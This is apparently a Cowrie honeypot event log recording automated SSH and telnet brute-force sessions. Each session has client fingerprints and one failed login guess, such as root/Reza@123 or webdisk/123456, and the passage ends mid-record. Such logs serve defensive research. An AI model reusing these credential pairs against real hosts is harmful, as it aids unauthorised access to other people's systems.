{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:18.027803Z","src_ip":"5.89.75.194","session":"8dc3ba050c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza@123","message":"login attempt [root/Reza@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:18.472382Z","src_ip":"5.89.75.194","session":"8dc3ba050c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:19.579235Z","src_ip":"5.89.75.194","session":"8dc3ba050c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":36472,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c467e9a763","protocol":"ssh","message":"New connection: 189.203.163.10:36472 (10.17.0.5:22) [session: 67c467e9a763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:33.096451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:33.101143Z","src_ip":"189.203.163.10","session":"67c467e9a763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:33.161732Z","src_ip":"189.203.163.10","session":"67c467e9a763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdisk","password":"123456","message":"login attempt [webdisk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:33.438502Z","src_ip":"189.203.163.10","session":"67c467e9a763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c89fcc23fc","protocol":"telnet","message":"New connection: 128.199.8.54:57068 (159.203.135.109:23) [session: 71c89fcc23fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:33.631120Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:34.503268Z","src_ip":"189.203.163.10","session":"67c467e9a763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142073631287,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:41.495733Z","src_ip":"94.23.66.112","session":"cbafd580908f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":50766,"dst_ip":"10.17.0.5","dst_port":22,"session":"df53545cc3a8","protocol":"ssh","message":"New connection: 160.251.185.39:50766 (10.17.0.5:22) [session: df53545cc3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:50.896627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:50.904313Z","src_ip":"160.251.185.39","session":"df53545cc3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:51.090690Z","src_ip":"160.251.185.39","session":"df53545cc3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa1314520","message":"login attempt [root/aa1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:51.874840Z","src_ip":"160.251.185.39","session":"df53545cc3a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:53.062587Z","src_ip":"160.251.185.39","session":"df53545cc3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68de4432ea8","protocol":"ssh","message":"New connection: 38.93.206.2:10998 (159.203.135.109:22) [session: f68de4432ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:01.677331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:01.683188Z","src_ip":"38.93.206.2","session":"f68de4432ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:01.751597Z","src_ip":"38.93.206.2","session":"f68de4432ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bcrfylth","message":"login attempt [root/bcrfylth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:01.908116Z","src_ip":"38.93.206.2","session":"f68de4432ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:02.962295Z","src_ip":"38.93.206.2","session":"f68de4432ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":50146,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adc4f58c2ce","protocol":"ssh","message":"New connection: 76.79.213.69:50146 (10.17.0.5:22) [session: 4adc4f58c2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:08.412028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:08.419771Z","src_ip":"76.79.213.69","session":"4adc4f58c2ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:08.543586Z","src_ip":"76.79.213.69","session":"4adc4f58c2ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@2026","message":"login attempt [root/Passw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:09.067308Z","src_ip":"76.79.213.69","session":"4adc4f58c2ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:10.194132Z","src_ip":"76.79.213.69","session":"4adc4f58c2ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.20976209640503,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:18.840706Z","src_ip":"128.199.8.54","session":"71c89fcc23fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":50668,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fd5be65a31","protocol":"ssh","message":"New connection: 79.104.0.82:50668 (10.17.0.5:22) [session: b3fd5be65a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:55.459982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:55.464490Z","src_ip":"79.104.0.82","session":"b3fd5be65a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:55.610367Z","src_ip":"79.104.0.82","session":"b3fd5be65a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ripe","password":"ripe123","message":"login attempt [ripe/ripe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:56.224961Z","src_ip":"79.104.0.82","session":"b3fd5be65a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:32:57.373359Z","src_ip":"79.104.0.82","session":"b3fd5be65a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":35612,"dst_ip":"10.17.0.5","dst_port":22,"session":"643faa95be4b","protocol":"ssh","message":"New connection: 201.17.146.173:35612 (10.17.0.5:22) [session: 643faa95be4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:04.075717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:04.081594Z","src_ip":"201.17.146.173","session":"643faa95be4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:04.365707Z","src_ip":"201.17.146.173","session":"643faa95be4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madrid","password":"123456","message":"login attempt [madrid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:07.334232Z","src_ip":"201.17.146.173","session":"643faa95be4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:08.481138Z","src_ip":"201.17.146.173","session":"643faa95be4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41824,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d20c843368","protocol":"ssh","message":"New connection: 27.71.230.31:41824 (10.17.0.5:22) [session: 62d20c843368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:15.591827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:15.736360Z","src_ip":"27.71.230.31","session":"62d20c843368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:17.514539Z","src_ip":"27.71.230.31","session":"62d20c843368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234567","message":"login attempt [root/Admin1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:19.681074Z","src_ip":"27.71.230.31","session":"62d20c843368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:22.361216Z","src_ip":"27.71.230.31","session":"62d20c843368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":36488,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a19be63baf4","protocol":"ssh","message":"New connection: 5.89.75.194:36488 (10.17.0.5:22) [session: 4a19be63baf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:23.180995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:23.188225Z","src_ip":"5.89.75.194","session":"4a19be63baf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sh